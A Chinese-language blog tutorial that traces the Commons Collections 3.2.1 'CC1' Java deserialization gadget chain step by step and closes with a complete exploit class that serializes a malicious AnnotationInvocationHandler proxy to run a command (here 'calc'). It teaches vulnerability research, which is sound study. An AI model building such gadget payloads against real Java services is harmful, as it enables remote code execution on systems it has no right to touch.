osthing's blog
GitHub RSS
5 min read

CommonsCollections_1链

所有人的第一条cc链

ctf web java_sec 代码审计 反序列化

CommonsCollections-1链

有了urldns的链子我们大概就有思路怎么找了,那么urldns只是供我们测试是否能进行反序列化的话,我们还需要有一条能供我们rce的链子

cc这个库的作用不用我特别说了,总之就是一个很常用的工具类

那么首先cc1链的环境要求比较苛刻,这里简单讲一下

环境配置

java版本:jdk 8u65

maven:3.6.3

cc版本:3.2.1

首先是java版本的下载,在https://www.oracle.com/java/technologies/downloads/ 记得一定要把语言改成英文再下, 8u65会下成8u71

然后是源码包,不下源码包的话你看进去的变量会变成var1 var2这种解析后的代码

源码包下载地址:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4 点左侧的zip下载 我们解压 jdk8u65 的 src.zip,解压完之后,我们把 openJDK 8u65 解压出来的 sun 文件夹拷贝进 jdk8u65 中,这样子就能把 .class 文件转换为 .java 文件了

然后是cc的源码包

首先导入cc

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>

然后下载源码包

环境配置完成,正式开始审cc链了

Runtime.exec

首先我们要先了解一下java是怎么命令执行的

现在我们需要了解的是runtime.exec

最基础的方法是这样

import java.io.IOException;

public class temp {
    public static void main(String[] args) throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

此外,我们还要了解反射调用执行

public class temp {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Class c=Class.forName("java.lang.Runtime");
        Method m=c.getMethod("getRuntime");
        c.getMethod("exec", String.class).invoke(m.invoke(c),"calc");
    }
}

Class.forName来获取类

getMethod来获取类的方法

invoke 的作用是执行方法,它的第一个参数是:

  • 如果这个方法是一个普通方法,那么第一个参数是类对象
  • 如果这个方法是一个静态方法,那么第一个参数是类

这也比较好理解了,我们正常执行方法是 [1].method([2], [3], [4]...) ,其实在反射里就是 method.invoke([1], [2], [3], [4]...)

InvokerTransformer.transform()

我们直接来看yso的链子

/*
	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

	Requires:
		commons-collections
 */

首先我们看到入口是InvokerTransformer.transform()我们跟进看

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();	//反射加载类的地方
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

我们一看就看到了反射类加载的地方,我们看一下各个参数是怎么控制的

首先cls是直接input传进来的,调用方法的时候直接runtime就行,iMethodNameiParamTypes还有iArgs都是构造的时候就传进去的

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

我们先尝试用上面反射加载的方式加载,然后再把参传进去

public class temp {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Runtime runtime=Runtime.getRuntime();
        Class cls=runtime.getClass();
        Method method=cls.getMethod("exec", String.class);
        method.invoke(runtime,"calc");
    }
}

我们再尝试把这些参数传到InvokerTransformer

public class temp {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Runtime runtime=Runtime.getRuntime();
//        Class cls=runtime.getClass();
//        Method method=cls.getMethod("exec", String.class);
//        method.invoke(runtime,"calc");

        InvokerTransformer invokerTransformer=new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
        invokerTransformer.transform(runtime);
    }
}

成功执行,要注意构造函数里面要传的什么参数

那么我们成功构造好了链子的入口,接下来我们要看哪里有同名函数调用了transform

LazyMap.get()

我们选中transform右键find usages来找到哪些地方调用了transform()

我们根据yso链子找到LazyMap,找到get方法调用了transform()

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

当map里面没有这个key就会触发下面的内容

那么我们就要去找一下我们要用的factory是什么

    protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }

也是在构造的时候就能传到,但是这个类是protected不能直接构造得到,而这个类里的decorate方法能直接帮我们构造

    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

尝试构造一下,因为是public方法,可以直接调用

public class temp {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Runtime runtime=Runtime.getRuntime();
//        Class cls=runtime.getClass();
//        Method method=cls.getMethod("exec", String.class);
//        method.invoke(runtime,"calc");

        InvokerTransformer invokerTransformer=new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
//        invokerTransformer.transform(runtime);

        HashMap<Object,Object> hashMap= new HashMap();
        Map decorateMap= LazyMap.decorate(hashMap,invokerTransformer);
        decorateMap.get(runtime);
    }
}

还可以尝试反射调用两个效果是一样的

public class temp {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Runtime runtime=Runtime.getRuntime();
//        Class cls=runtime.getClass();
//        Method method=cls.getMethod("exec", String.class);
//        method.invoke(runtime,"calc");

        InvokerTransformer invokerTransformer=new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
//        invokerTransformer.transform(runtime);

        HashMap<Object,Object> hashMap= new HashMap();
        Map decorateMap= LazyMap.decorate(hashMap,invokerTransformer);
//        decorateMap.get(runtime);

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
        lazyGetMethod.setAccessible(true);
        lazyGetMethod.invoke(decorateMap, runtime);
    }
}

那么继续往下走,走到调用get方法的地方,看yso的链到了AnnotationInvocationHandler.invoke()

AnnotationInvocationHandler.invoke()

根据yso的链找到这里,看一眼源码先

    public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    }

需要触发 invoke 方法,马上想到动态代理,一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke() 方法

那我们尝试写一个代理去调用

public class temp {
    public static void main(String[] args) throws Exception {
        Runtime runtime=Runtime.getRuntime();
//        Class cls=runtime.getClass();
//        Method method=cls.getMethod("exec", String.class);
//        method.invoke(runtime,"calc");

        InvokerTransformer invokerTransformer=new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
//        invokerTransformer.transform(runtime);

        HashMap<Object,Object> hashMap= new HashMap();
        Map decorateMap= LazyMap.decorate(hashMap,invokerTransformer);
//        decorateMap.get(runtime);


        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationConstructor=c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationConstructor.setAccessible(true);
        InvocationHandler handler= (InvocationHandler) annotationInvocationConstructor.newInstance(Override.class,decorateMap);

        Map proxyMap= (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), (Class<?>[]) new Class[]{Map.class},handler);
        Object o=annotationInvocationConstructor.newInstance(Override.class,proxyMap);

        SerializeUtils.serialize(o);

        SerializeUtils.unserialize("ser.bin");
    }
}

发现没有弹计算器还报错了,因为runtime根本没调用到,报错The method 'exec' on 'class java.lang.String' does not exist

我们这里只能控制一个参数就是memberValues

那么我们也就要想办法在一个map里面塞下所有命令执行的参数,那么这里我们就要用到另外两个辅助我们的工具类了

ConstantTransformer&&ChainedTransformer

我们回到之前执行命令的地方看

public class temp {
    public static void main(String[] args) throws Exception {
//        Runtime runtime=Runtime.getRuntime();
//        Class cls=runtime.getClass();
//        Method method=cls.getMethod("exec", String.class);
//        method.invoke(runtime,"calc");
        Class c=Runtime.class;
        Method get_runtime=c.getMethod("getRuntime");
        Method exec=c.getMethod("exec", String.class);
        exec.invoke(get_runtime.invoke(c),"calc");
        }
}

我们把它拆分开来

  1. 获取Runtime类
  2. 获取getRuntime方法
  3. 获取exec方法
  4. 从下往上invoke嵌套

那么,有没有方法可以把他们整合到一起呢,当然是有的,我们把几个获取方法都整合成用InvokerTransformer的类的方法构造出来

new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null})
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null})
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

如果这里看不懂罚你回去从InvokerTransformer链头开始看

这个时候我们正好有一个方法,对他们依次调用transform方法并且上一个的结果进行调用,那就是ChainedTransformer类,我们看一下对应源码

    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

    /**
     * Transforms the input to result via each decorated transformer
     * 
     * @param object  the input object passed to the first transformer
     * @return the transformed result
     */
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

接受一个数组,对亚目循环调用transform方法,接受的是一个Transformer[]数组

那么我们现在就可以这样写

Transformer[] transformers=new Transformer[]{
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

但是我们还少一个runtime头,我们需要把一个runtime类转换成transform对象,我们就要用到另一个工具类

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}

/**
     * Transforms the input by ignoring it and returning the stored constant instead.
     * 
     * @param input  the input object which is ignored
     * @return the stored constant
     */
public Object transform(Object input) {
    return iConstant;
}

只要把我们的runtime传进去就行了,那么我们最后构造好就是这样

Transformer[] transformers=new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

至此,我们的所有链完全贯通,cc1链大功告成

最终exp

那么最终exp就为

package cat.uwu.serialize;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import cat.uwu.util.SerializeUtils;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1Chain {

    public static void main(String[] args) throws Exception {

        // 创建一个Transformer数组,用于构建命令执行链
        // ConstantTransformer:将一个常量(这里是Runtime.class)作为transformer的输出
        // InvokerTransformer:调用指定的方法,依次执行getMethod("getRuntime")、invoke()、exec("calc")
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), // 第一步:将Runtime.class作为常量返回
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), // 第二步:获取Runtime类的getRuntime方法
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), // 第三步:调用getRuntime方法获取Runtime实例
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) // 第四步:调用exec方法执行系统命令(这里是calc)
        };

        // 将多个Transformer链在一起,按顺序执行transform方法
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        // 创建一个HashMap用于LazyMap装饰
        HashMap<Object, Object> hashMap = new HashMap<>();

        // 使用LazyMap装饰HashMap,将chainedTransformer作为factory
        // LazyMap的get方法在key不存在时会触发transformer链
        Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

        // 获取AnnotationInvocationHandler类的构造函数,用于后续动态代理
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationConstructor.setAccessible(true); // 由于构造函数是私有的,使用setAccessible进行访问控制

        // 创建AnnotationInvocationHandler实例,将Override.class和LazyMap作为参数传入
        InvocationHandler handler = (InvocationHandler) annotationInvocationConstructor.newInstance(Override.class, decorateMap);

        // 创建动态代理,代理Map接口
        // 当通过代理对象调用方法时,会触发AnnotationInvocationHandler的invoke方法
        Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, handler);

        // 再次使用AnnotationInvocationHandler创建一个新的实例
        // 这里传入的proxyMap将在反序列化时触发LazyMap的get方法,从而执行命令
        Object o = annotationInvocationConstructor.newInstance(Override.class, proxyMap);

        // 序列化构造的恶意对象,保存到文件中
        SerializeUtils.serialize(o);

        // 反序列化恶意对象,触发命令执行
        SerializeUtils.unserialize("ser.bin");
    }
}